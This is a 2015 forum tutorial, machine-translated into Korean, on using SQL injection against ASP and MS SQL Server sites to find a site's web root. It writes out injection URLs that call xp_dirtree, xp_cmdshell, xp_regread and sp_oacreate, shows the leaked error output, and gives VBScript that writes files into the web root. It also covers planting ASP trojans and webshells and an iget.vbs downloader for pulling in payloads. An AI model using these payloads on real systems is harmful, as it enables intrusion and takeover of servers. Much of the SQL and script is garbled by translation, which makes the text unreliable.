이 글은 기계 번역의 미러 문서이며, 원본 기사로 바로 이동하려면 여기를 클릭해 주세요.

보기: 11906|회답: 0

[안전 튜토리얼] 완전한 웹사이트 경로를 얻기 위한 SQL 인젝션

[링크 복사]
게시됨 2015. 2. 7. 오후 10:19:16 | | |
완전한 웹사이트 경로를 얻기 위한 SQL 인젝션

웹사이트에 포트가 80개뿐이라면 다음 방법들이 더 유용할 것입니다
그 글에서 사용된 거의 모든 방법은 제가 발견한 것과 다르며, 글에는 항상 주사 시 개인적인 경험과 기술이 포함되어 있습니다
현재 알려진 방법은 4가지가 있습니다

첫 번째 방법:

이것이 <怪异的SQL注入>< >에서 도입된 방법입니다
sqlserver의 xp_dirtree를 사용해 먼저 메서드에 대해 이야기하고, 그 장단점에 대해 이야기해 보겠습니다(일부 내용은 원본 텍스트를 기반으로 추가되었습니다)

테이블 생성

진술:http://www.xxxxx.com/down/list.asp?id=1;create  테이블 디렉터리(경로 바르차르(1000))--
뒤로: 일반 정보! 이는 테이블이 성공적으로 생성되었다는 뜻입니다! 계속 해!
(생성된 아이디는 원본보다 조금 더 큽니다. 긴 이름의 파일을 발견한 적이 있어서 쓸모없다고 해서 ID를 삭제한 적이 있습니다.)

진술:http://www.xxxxx.com/down/list.asp?id=1;insert  이사 집행 master.dbo.xp_dirtree 'C:\' --
반품: 정상 정보입니다. 즉, C 드라이브에 작성된 모든 디렉터리는 성공 상태입니다! 멋지네요! 다음 단계는 미터기를 구하는 거야! 위반하고 나와. (이걸 할 수 있는 방법은 하나뿐인 것 같아요)

진술:http://www.xxxxx.com/down/list.asp?id=1  그리고 0<>(다이르에서 상위 1개 경로를 선택)-
반환: Microsoft OLE DB Provider for SQL Server error 80040e07
varchar 값 '@Inetpub'을 데이터 타입 int가 있는 열로 변환할 때 문법 오류가 발생합니다.

그 다음 테이블의 디렉터리 이름들이 차례로 버스트아웃됩니다!

진술:http:// http://www.xxxxx.com/down/list.asp?id=1  그리고 0<>(상위 1개 경로 중 선택
경로가 없는 디어스('@Inetpub'))--
반환: Microsoft OLE DB Provider for SQL Server error 80040e07
varchar 값 'test'를 데이터 타입 int가 있는 열로 변환할 때 문법 오류가 발생했습니다.

그 다음 테이블의 디렉터리 이름들이 차례로 버스트아웃됩니다!
좋아, 계속하자

진술:http:// http://www.xxxxx.com/down/list.asp?id=1  그리고 0<>(상위 1개 경로 중 선택
경로가 없는 디렉터리('@Inetpub', 'test'))--
반환: Microsoft OLE DB Provider for SQL Server error 80040e07
varchar 값 'haha'를 데이터 타입 int가 있는 열로 변환할 때 문법 오류가 발생합니다.

그 다음 테이블의 디렉터리 이름들이 차례로 버스트아웃됩니다!

알겠어요, 어떻게 하는지 알 거예요, 하하, 괄호 안에 테이블 이름을 적고, 원하는 만큼 넣으면 돼요.

작은 요령:

입력이 비슷할 때 그런 경우도 있습니다

http://www.xxxxx.com/down/list.asp?id=1  그리고 0<>(다이르에서 상위 1개 경로를 선택)-

오류가 표시되는 대신 웹페이지가 정상적으로 표시됩니다
어지러워, 긴장하지 마
0<>(다이어에서 상위 1개 경로를 선택)를 보면 반환값이 숫자임을 알 수 있습니다.
하하, 한번 테스트해보고 가격이 얼마인지 확인해 보세요

100>(디렉토리에서 상위 1개 경로를 선택)

정상으로 돌아왔다
하하, 이 방법으로 크거나 적은 것을 금방 추측할 수 있습니다
좋아, 계속하자
예를 들어, 그것이 나타날 때

59=(다이어에서 상위 1개 경로를 선택)

정상으로 돌아가라,
네, 이름은 59입니다
다음과 같이 입장하세요

http:// http://www.xxxxx.com/down/list.asp?id=1  그리고 0<>(상위 1개 경로 중 선택
경로가 없는 디르스('59')--

따옴표 붙이는 거 잊지 마세요
다음 방법은 원래와 동일합니다
또 한 가지 문제가 있습니다
위 방법으로 59를 입력할 때 다음 폴더가 여전히 59인 경우가 가끔 있습니다
무슨 일이죠?
헤헤, 059와 59가 같은 숫자라는 걸 눈치채셨나요?
그래서 하하,

http:// http://www.xxxxx.com/down/list.asp?id=1  그리고 0<>(상위 1개 경로 중 선택
경로가 없는 디르스('059'))--

다음 폴더 이름이 표시되는 것을 발견했습니다, 알겠습니다

장단점 분석:

장점은 모든 sqlserver 사용자가 PUBLIC 권한을 적용하기 xp_dirtree 사용할 수 있다는 점입니다.
단점은 디렉터리 내 모든 폴더 이름이 표시되고, 순서가 없어 보인다는 점입니다. 요컨대, 수천 개의 폴더 중에서 원하는 폴더를 찾는 것이 번거롭습니다.
그리고 그 폴더가 반드시 루트 디렉터리에 있는 것은 아니라는 걸 알고 있는데, 이는 정말 고통스러운 일입니다. 많은 경우 운과 인내심에 달려 있기 때문입니다.
성공을 기원합니다

방법 2:

활용xp_cmdshell

하하, 모두가 이걸 잘 알고 있을 텐데, 간단히 말씀드리겠습니다

테이블 생성

진술:http://www.xxxxx.com/down/list.asp?id=1;create  테이블 디렉터리(경로 바르차르(1000))--
뒤로: 일반 정보! 이는 테이블이 성공적으로 생성되었다는 뜻입니다! 계속 해!
(생성된 아이디는 원본보다 조금 더 커요. 긴 이름을 가진 파일을 발견한 적이 있는데, 쓸모없다고 해서 그 ID를 삭제했거든요.)

진술:http://www.xxxxx.com/down/list.asp?id=1;insert이사회 집행 master.dbo.xp_cmdshell 'dir c:\ /B/D' --
반품: 정상 정보입니다. 즉, C 드라이브에 작성된 모든 디렉터리는 성공 상태입니다! dir c:\ /B/D가 여기서 쓰여요, 하하, /B/D가 뭘 하는지 모르면 한번 찾아보세요

진술:http://www.xxxxx.com/down/list.asp?id=1  그리고 0<>(다이르에서 상위 1개 경로를 선택)-
반환: Microsoft OLE DB Provider for SQL Server error 80040e07
varchar 값 '@Inetpub'을 데이터 타입 int가 있는 열로 변환할 때 문법 오류가 발생합니다.

그 다음 테이블의 디렉터리 이름들이 차례로 버스트아웃됩니다!

진술:http:// http://www.xxxxx.com/down/list.asp?id=1  그리고 0<>(상위 1개 경로 중 선택
경로가 없는 디어스('@Inetpub'))--
반환: Microsoft OLE DB Provider for SQL Server error 80040e07
varchar 값 'test'를 데이터 타입 int가 있는 열로 변환할 때 문법 오류가 발생했습니다.

그 다음 테이블의 디렉터리 이름들이 차례로 버스트아웃됩니다!

방법은 위와 같으니 자세히 말하지 않겠습니다

때로는 다음 두 확장도 사용할 수 있습니다

1) xp_availablemedia 활용해 현재 드라이브를 모두 가져와 dirs 테이블에 저장할 수 있습니다:

5 ; 임원 master.dbo.xp_availablemedia 삽입; --

우리는 temp 내용을 쿼리하면 드라이브 목록과 관련 정보를 얻을 수 있습니다

(2) xp_subdirs를 사용해 하위 디렉터리 목록을 얻어 dirs 테이블에 저장할 수 있습니다:

5 ; 'c:\'를 master.dbo.xp_subdirs 명령에 삽입하라; --

장단점 분석:

물론 모든 디렉터리가 함께 모이는 상황은 xp_dirtree지 않고, 1단계 디렉터리만 표시되어 훨씬 쉽게 찾을 수 있습니다.
단점도 명확합니다. 이 권한은 SA만 가지고 있고, 관리자가 이 확장 기능을 삭제했을 가능성도 있습니다(결국 너무 강력하기 때문입니다).

방법 3:

이 접근법은 좋습니다
다음은 원문
adsutil.vbs 프로그램을 사용해볼까 생각했는데, 실행해봤습니다

a'; 대장님.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --

길지 않나요? 이를 통해 IIS에서 첫 번째 가상 웹사이트(물론 실제 디렉터리 포함)를 설정할 수 있습니다
a.txt로 수입
a.txt의 기본 위치는 당연히 c:\winnt\system32인데, 사실 문제는 없지만, adsutil.vbs를 설정한 관리자를 만날 때는 문제가 되지 않습니다
삭제하거나 다른 곳에 두세요
저희는 아무것도 할 수 없습니다(직접 에코 명령어로 작성할 수 없습니다)

2단계: echo 명령어를 사용해 다음 코드를 c:\에 작성하세요. 이 코드는 많지 않습니다

..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
Set FSO1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
Set fil =fso1.opentextfile(spa & "\system32\aa.txt"
Fil.atendofstream이 아니면 할 수 있습니다.
nr=fil.readline
만약 left(nr,4)="Path"라면,
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,"-3)
출구
끝나는 경우
루프
Set Fil1 =fso1.OpenTextFile(PA &"\dd.asp",2,true)
fil1.writeline ""
---------------여기서 컷-------------------------------------

3단계: 물론 read.vbs를 실행하여 aa.txt 내 내용을 읽고 웹사이트의 실제 경로를 찾을 수 있도록 하는 것입니다
그 다음 웹사이트의 루트 디렉터리에 dd.asp이라는 파일을 작성하면 성공적으로 시도할 수 있는지 알 수 있을 것입니다
수행하다http://x.x.x.x/dd.asp
반품: \xxx
하하, 좋은 방법이네요,
하지만 원문에는 몇 가지 문제가 있는 것 같습니다
그것이

Set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
Set Fil1 =fso1.OpenTextFile(PA%2B"\dd.asp",2,true)

두 문장이 제출될 때 오류가 발생합니다
그래서 우리는 플러스 기호를 만들었는데, 이는 와 같은 기능을 가집니다
그리고 dd.asp에 대해 무엇을 써야 할까요? 아버지께 편지를 써보세요, 하하
하하, 제가 바꿨어요

-------------------read.vbs---------------------------------
Set FSO1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
Set fil =fso1.opentextfile(spa "\system32\aa.txt"
Fil.atendofstream이 아니면 할 수 있습니다.
nr=fil.readline
만약 left(nr,4)="Path"라면,
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,"-3)
출구
끝나는 경우
루프
Set FIL1 =FSO1.OpenTextFile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------여기서 잘라--------------------------------------
브라우저에서 제출할 때 시간 번호가 공백으로 변환되기 때문에, 다음으로도
이렇게 하면 %2B가 되고, 괜찮을 거예요, 다음과 같습니다
-------------------read.vbs---------------------------------
Set FSO1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
Set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
Fil.atendofstream이 아니면 할 수 있습니다.
nr=fil.readline
만약 left(nr,4)="Path"라면,
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,"-3)
출구
끝나는 경우
루프
Set FIL1 =FSO1.OpenTextFile(PA %2B "\dd.asp",2,true)
fil1.writeline pa
---------------여기서 잘라--------------------------------------

만약 1이 없다는 것을 알게 되면, 우리는 2, 3, 4가 될 수 있습니다...........

a'; 대장님.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --

하지만 이 방법은 Windows 2000에서만 사용할 수 있는데, 2003년 이하에 새로 생성된 웹사이트 주소가 1234에 따라 정렬되어 있지 않고 무작위로 생성되는 것 같아 여러 개의 2003년 이하 웹사이트를 비교해봤습니다
주소는 정기성 없이 발견되었습니다.

장단점 분석:

마찬가지입니다 xp_cmdshell 모든 사용자가 사용할 수 있는 것은 아닙니다! 또 다른 문제는 adsutil 파일이 반드시 존재하지 않거나 그 경로에 있는 것도 아니지만, 의도한다면 사용할 수 있다는 점입니다
Echo는 하나(하하, 오래됐고 오래된 것들)를 작성하고, 또 다른 질문은, 호스트에 여러 사이트가 있다면 어떻게 될까요? 저는 9개의 사이트를 가진 호스트를 만난 적이 있는데, 8번째만 유용합니다
그래, 희미하지, 누군가가 이렇게 오래 버티는 인내심을 갖기 어렵다. 아마도 오래전에 무너졌을지도 모른다. 게다가 2003년에는 사용할 수 없어요!
하지만 솔직히 말해서, 이 방법은 정말 좋은 방법입니다

방법 4:

이 방법은 레지스트리에서 xp_regread 등으로 경로를 읽는 것입니다
웹 페이지 경로를 얻기 위해 다음을 권장합니다(저장 프로시저를 통해 레지스트리를 읽으세요):
내장된 저장 프로시저 xp_regread(레지스트리 키, 퍼블릭 권한 읽기)를 활용하세요:

진술: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) 선언@test
Varchar(20) 부대장.. xp_regread @rootkey= HKEY_LOCAL_MACHINE, @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , 값=@test OUTPUT 삽입 경로
(경로) 값(@test)

레지스트리 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ 내 IIS 기본 경로
버스트 필드를 사용하여 데이터베이스의 값을 읽어냅니다:

문장: http://www.xxx.com/list.asp?classid=1 및 0<>(newtable에서 상위 1개 경로를 선택)--return: Microsoft OLE DB Provider for
ODBC 드라이버 오류 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]는 varchar 값을 E:\www,,201을 int의 데이터 타입으로 변환합니다.
칼럼.

즉, 웹 페이지 디렉터리가 E:\www에 위치하며, FSO를 사용해 ASP 트로이목마에 직접 기록할 수도 있습니다
웹 디렉토리를 구할 수 없다면 어떻게 하나요? 웹사이트가 기본 웹을 사용하는지, 아니면 도메인 이름을 웹으로 사용하는지 추측해야 합니다.

wscript.shell sp_oacreate @o int exec 선언, @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"''

기본 WEB 사이트 아래에 가상 디렉터리 E를 만들고, 디스크 아래의 E: 위치를 가리킵니다.

wscript.shell sp_oacreate @o int exec 선언, @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'

가상 디렉터리 e에 탐색 속성을 추가하는 것이 좋습니다. 자신을 위한 가상 서비스를 개설하세요. 그 웹 페이지 디렉터리 경로를 생각하면 머리가 거의 부서질 것 같아요. 이제 눈을 떴다. 그게 바로 MS를 사용하는 WEBSHELL입니다
SQL은 우리의 일의 끝이며, 다음 일은 당신의 것이 되어야 합니다.
하하, 방법이 좋네요. 등록 양식을 통해 편리하고 빠르게 읽어보세요!

장단점 분석:

물론 장점은 편리하고 빠르다는 점입니다. 단점은 기본 IIS 사이트의 경로만 볼 수 있고, 더 이상 기본 사이트가 아니면 2003년 미만이라면 할 수 있는 게 없다는 점입니다(저는 regsnape로 추적했습니다).
즉, 기본 사이트 경로조차 표시되지 않습니다! 고통 속에

참고로, 웹사이트 경로를 찾는 것 외에도 침입을 계속하는 방법들이 있습니다. 예를 들어 tftp로 bounce 트로이 목마를 업로드하거나, iget.vbs를 작성해 원하는 동동을 다운로드하는 방법이 있습니다
iget.vbs 코드는 다음과 같습니다:

---------시작----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. 스트림"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------끝-----------

이 기사 보충:

최근에 마오 주석의 지시를 충분히 이해하지 못했다는 것을 깨달았고, 여기에 덧붙이고 싶습니다
사실, 위의 방법들은 비교할 필요가 전혀 없xp_dirtree 이 한 가지 방법만으로도 충분하다
그냥 내가 너무 ..............
오늘은 다시 한 번 xp_dirtree의 비밀을 파헤치겠습니다
좋아요, 이제 마스터링해봅시다: xp_dirtree'd:/test'
예를 들어, test1과 test2 폴더가 있다고 가정해 봅시다. test1에는 test3가 있습니다
결과는 다음과 같습니다

서브디렉토리 깊이
테스트1 1
테스트3 2
테스트2 1

하하, 디렉터리의 연속에는 깊이가 없다는 걸 알게 됐어요
좋아, 뭘 해야 할지 알아

http://www.xxxxx.com/down/list.asp?id=1;create  table dirs(paths varchar(1000), id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  이사 집행 master.dbo.xp_dirtree 'D:\' --
http://www.xxxxx.com/down/list.asp?id=1  그리고 0<>(id=1인 dirs에서 상위 1개 경로를 선택함) -

id=1이 추가되는 한 1단계 디렉터리가 됩니다.





이전의:침입 침투: HTTP 헤더의 적용
다음:알리페이 송금 스크린샷은 한 번의 클릭으로 생성됩니다
면책 조항:
Code Farmer Network에서 발행하는 모든 소프트웨어, 프로그래밍 자료 또는 기사는 학습 및 연구 목적으로만 사용됩니다; 위 내용은 상업적 또는 불법적인 목적으로 사용되지 않으며, 그렇지 않으면 모든 책임이 사용자에게 부담됩니다. 이 사이트의 정보는 인터넷에서 가져온 것이며, 저작권 분쟁은 이 사이트와는 관련이 없습니다. 위 내용은 다운로드 후 24시간 이내에 컴퓨터에서 완전히 삭제해야 합니다. 프로그램이 마음에 드신다면, 진짜 소프트웨어를 지원하고, 등록을 구매하며, 더 나은 진짜 서비스를 받아주세요. 침해가 있을 경우 이메일로 연락해 주시기 바랍니다.

Mail To:help@itsvse.com